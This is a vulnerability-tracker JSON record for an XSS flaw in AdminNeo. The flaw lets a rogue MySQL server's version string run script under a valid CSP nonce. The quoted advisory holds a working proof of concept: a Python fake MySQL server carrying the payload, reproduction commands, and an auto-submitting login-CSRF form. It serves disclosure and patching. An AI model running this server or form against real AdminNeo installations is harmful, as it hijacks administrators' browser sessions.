{"id":"CVE-2026-96632","kind":"vulnerability","aliases":["CVE-2026-96632","GHSA-rx7m-wxwq-vxr9"],"related":[],"title":"AdminNeo Vulnerable to XSS via Rogue MySQL Server Version String (CSP Nonce Bypass)","description":"## Summary\n\nAdminNeo inserts the database server's version string into a `<script>` tag that carries a valid CSP nonce, without any sanitization. A rogue database server can return a crafted version string that breaks out of the JavaScript context and executes arbitrary code. Because the script tag already has a valid nonce, the browser's Content Security Policy does not block execution. No authentication is required when combined with Login CSRF.\n\nOriginally reported in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-h6jr-7pr6-grgj\n\n## Prerequisites\n\n- Target runs AdminNeo\n- Attacker controls a reachable MySQL server (a 80-line Python script)\n\n## Root Cause\n\n`admin/core/Admin.php`, lines 1285-1286:\n\n```php\necho script(\"let autocompletion;\\nwindow.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('\" .\n    Connection::get()->getVersion() . \"', '\" . Connection::get()->getFlavor() . \"', autocompletion); });\");\n```\n\n`script()` wraps the output in `<script nonce=\"VALID_NONCE\">`. Return value of `Connection::get()->getVersion()` is not escaped.\n\n## Steps To Reproduce\n\n### 1. Build the environment\n\n**Dockerfile** (AdminNeo):\n\n```dockerfile\nFROM php:8.3-cli\nCOPY adminneo.php /var/www/adminneo.php\nWORKDIR /var/www\nEXPOSE 8081\nCMD [\"php\", \"-S\", \"0.0.0.0:8081\"]\n```\n\n**rogue_mysql.py** (fake MySQL server that accepts any login):\n\n```python\nimport socket, struct, threading\n\nPAYLOAD = \"1');alert(origin)//\"\n\n# Capability flags the client expects\nCAP_PROTOCOL_41     = 0x0200\nCAP_SECURE_CONNECTION = 0x8000\nCAP_PLUGIN_AUTH     = 0x00080000\nCAPS_LOW  = CAP_PROTOCOL_41 | CAP_SECURE_CONNECTION\nCAPS_HIGH = (CAP_PLUGIN_AUTH >> 16)\n\ndef make_packet(seq, payload):\n    length = struct.pack(\"<I\", len(payload))[:3]\n    return length + bytes([seq]) + payload\n\ndef make_greeting(version_str):\n    pkt  = b\"\\x0a\"                                  # protocol version 10\n    pkt += version_str.encode() + b\"\\x00\"            # version string\n    pkt += struct.pack(\"<I\", 1)                      # connection id\n    pkt += b\"\\x41\" * 8                               # auth plugin data part 1\n    pkt += b\"\\x00\"                                   # filler\n    pkt += struct.pack(\"<H\", CAPS_LOW)               # capability flags lower\n    pkt += b\"\\x21\"                                   # charset utf8\n    pkt += struct.pack(\"<H\", 0x0002)                 # status flags\n    pkt += struct.pack(\"<H\", CAPS_HIGH)              # capability flags upper\n    pkt += b\"\\x15\"                                   # auth data length (21)\n    pkt += b\"\\x00\" * 10                              # reserved\n    pkt += b\"\\x41\" * 12 + b\"\\x00\"                    # auth plugin data part 2\n    pkt += b\"mysql_native_password\\x00\"              # auth plugin name\n    return make_packet(0, pkt)\n\ndef make_ok(seq):\n    pkt  = b\"\\x00\"          # OK marker\n    pkt += b\"\\x00\"          # affected rows\n    pkt += b\"\\x00\"          # last insert id\n    pkt += struct.pack(\"<H\", 0x0002)  # status flags\n    pkt += struct.pack(\"<H\", 0)       # warnings\n    return make_packet(seq, pkt)\n\ndef make_eof(seq):\n    pkt  = b\"\\xfe\"\n    pkt += struct.pack(\"<H\", 0)       # warnings\n    pkt += struct.pack(\"<H\", 0x0002)  # status flags\n    return make_packet(seq, pkt)\n\ndef make_err(seq, msg=b\"not supported\"):\n    pkt  = b\"\\xff\"\n    pkt += struct.pack(\"<H\", 1045)\n    pkt += b\"#HY000\"\n    pkt += msg\n    return make_packet(seq, pkt)\n\ndef handle(conn):\n    conn.sendall(make_greeting(PAYLOAD))\n    try:\n        conn.recv(4096)     # client login request\n    except Exception:\n        conn.close()\n        return\n    conn.sendall(make_ok(2))  # accept login\n\n    # Answer any queries Adminer sends after login\n    while True:\n        try:\n            data = conn.recv(4096)\n            if not data:\n                break\n            seq = data[3] + 1\n            # Send ERR for all queries (Adminer still has the version in memory)\n            conn.sendall(make_err(seq))\n        except Exception:\n            break\n    conn.close()\n\nsrv = socket.socket()\nsrv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\nsrv.bind((\"0.0.0.0\", 3307))\nsrv.listen(5)\nprint(\"[*] Rogue MySQL on :3307 - version: \" + PAYLOAD)\nwhile True:\n    conn, addr = srv.accept()\n    print(f\"[+] Connection from {addr}\")\n    threading.Thread(target=handle, args=(conn,)).start()\n```\n\n```shell\n# Terminal 1: start Adminer\ndocker build -t adminer-xss .\ndocker run -d -p 8081:8081 --name adminer-xss adminer-xss\n\n# Terminal 2: start rogue MySQL\npython3 rogue_mysql.py\n```\n\n### 2. Trigger the XSS\n\nOpen a browser and navigate to `http://localhost:8081/adminneo.php`:\n\n1. Select driver: **MySQL**\n2. Server: `HOST_IP:3307` (IP of the machine running rogue_mysql.py)\n3. Username: `root`\n4. Password: `x`\n5. Click Login.\n\nThe rogue server accepts the login. AdminNeo renders the dashboard and includes:\n\n```html\n<script nonce=\"REAL_NONCE\">let autocompletion;\nwindow.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('1');alert(origin)//', 'mysql', autocompletion); });</script>\n```\n\nThe browser executes `alert(origin)` with full CSP bypass because the script tag carries a valid nonce.\n\n### 3. Trigger it via Login CSRF\n\nThe login form has no CSRF token. An attacker page auto-submits the login, forcing the victim's browser to connect to the rogue server:\n\n```html\n<form id=\"f\" method=\"POST\" action=\"http://TARGET/adminneo.php\">\n  <input name=\"auth[driver]\" value=\"mysql\">\n  <input name=\"auth[server]\" value=\"ROGUE_IP:3307\">\n  <input name=\"auth[username]\" value=\"root\">\n  <input name=\"auth[password]\" value=\"x\">\n</form>\n<script>document.getElementById('f').submit()</script>\n```\n\n## Collaborator Request\n\nThis vulnerability was discovered jointly with Yashar Shahinzadeh (GitHub: @Voorivex). Could you please add him as a collaborator on this advisory and credit him as a co-discoverer? Thank you!","summary":"AdminNeo places the database server's version string unescaped inside a script tag that carries a valid CSP nonce. A malicious MySQL server can return a crafted version string that breaks out of the script and runs attacker JavaScript in the browser of whoever logs in.","severity":"high","cvss":null,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"adminneo-org/adminneo","fixed":["5.5.1"],"affected":"< 5.5.1","ecosystem":"composer"}],"ecosystems":["composer"],"tags":["adminneo","cwe-79","mysql","package","php","self-hosted"],"not_affected_if":["fixed-version","not-using-adminneo"],"how_to_check":"- Check the installed AdminNeo version in `composer.lock` for `adminneo-org/adminneo`, and see whether it is below `5.5.1`.\n- Check whether the login form is reachable from untrusted networks, since the sources say no authentication is needed when combined with Login CSRF.","fix":"- `adminneo-org/adminneo` `5.5.1`","status":"open","published_at":"2026-10-30T22:52:23+00:00","first_seen_at":"2026-10-30T22:56:53+00:00","triaged_at":"2026-10-30T22:58:44+00:00","updated_at":"2026-10-30T22:58:44+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-10-30T22:58:44Z","model":"claude-haiku-5-5","output":{"fix":"- `adminneo-org/adminneo` `5.5.1`","reach":"internet","title":"AdminNeo: MySQL server version string enables script injection in admin page","impact":"medium","summary":"AdminNeo places the database server's version string unescaped inside a script tag that carries a valid CSP nonce. A malicious MySQL server can return a crafted version string that breaks out of the script and runs attacker JavaScript in the browser of whoever logs in.","audience":"businesses","category":"package","nicknames":[],"who_cares":["adminneo","php","mysql","self-hosted"],"confidence":0.8,"fix_status":"available","needs_auth":"no","worst_case":"attacker JavaScript runs in the admin's browser session","analyst_note":"","how_to_check":"- Check the installed AdminNeo version in `composer.lock` for `adminneo-org/adminneo`, and see whether it is below `5.5.1`.\n- Check whether the login form is reachable from untrusted networks, since the sources say no authentication is needed when combined with Login CSRF.","plain_action":"","needs_analyst":false,"not_affected_if":["fixed-version","not-using-adminneo"],"who_is_affected":"AdminNeo instances below 5.5.1 are exposed, because the login flow renders the connected database server's version string into a script tag without escaping. The exploit needs the victim to connect to an attacker-controlled MySQL server, which the sources say can be reached via a Login CSRF page. Teams that do not run AdminNeo, or that run it at 5.5.1 or later, can skip it.","user_interaction":"yes","needs_special_setup":"no","severity_if_unknown":"high"},"cost_usd":0.000953,"input_tokens":6632,"output_tokens":579,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-2026':15A,23A '-79':31B '-96632':16A,24A '/adminneo':28A 'adminneo':1A,26A,29B,38B,84C 'adminneo-org':25A 'attack':75B 'break':68B 'browser':79B 'bypass':13A 'carri':52B 'craft':64B 'csp':11A,55B 'cve':14A,22A 'cwe':30B 'databas':41B,87C 'ghsa':18A 'ghsa-rx7m-wxwq-vxr9':17A 'host':37B 'insert':85C 'insid':47B 'javascript':76B 'log':82B 'malici':58B 'mysql':7A,32B,59B 'nonc':12A,56B 'org':27A 'packag':33B 'php':34B 'place':39B 'return':62B 'rogu':6A 'run':74B 'rx7m':19A 'script':49B,72B 'self':36B 'self-host':35B 'server':8A,42B,60B,88C 'string':10A,45B,66B,91C 'summari':83C 'tag':50B 'unescap':46B 'valid':54B 'version':9A,44B,65B,90C 'via':5A 'vulner':2A 'vxr9':21A 'whoever':81B 'wxwq':20A 'xss':4A","nicknames":[],"mitigations":[],"who_affected":"AdminNeo instances below 5.5.1 are exposed, because the login flow renders the connected database server's version string into a script tag without escaping. The exploit needs the victim to connect to an attacker-controlled MySQL server, which the sources say can be reached via a Login CSRF page. Teams that do not run AdminNeo, or that run it at 5.5.1 or later, can skip it.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"businesses","plain_action":null,"first_public_at":"2026-10-30T22:52:23+00:00","kev":null,"cvss_vector":null,"cvss_by":null,"poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-rx7m-wxwq-vxr9","url":"https://github.com/advisories/GHSA-rx7m-wxwq-vxr9","severity":"high","published_at":"2026-10-30T22:52:23+00:00","modified_at":"2026-10-30T22:52:23+00:00","first_seen_at":"2026-10-30T22:56:53+00:00","fetched_at":"2026-10-30T22:56:53+00:00","note":null}],"documents":[{"id":26537,"url":"https://api.github.com/repos/adminneo-org/adminneo/security-advisories/GHSA-rx7m-wxwq-vxr9","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":26538,"url":"https://github.com/adminneo-org/adminneo/security/advisories/GHSA-rx7m-wxwq-vxr9","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":26539,"url":"https://github.com/adminneo-org/adminneo/commit/2c86406808bc2517efb35f5595b3a05761c2eacd","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":26394,"url":"https://github.com/adminneo-org/adminneo/releases/tag/v5.5.1","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"}],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}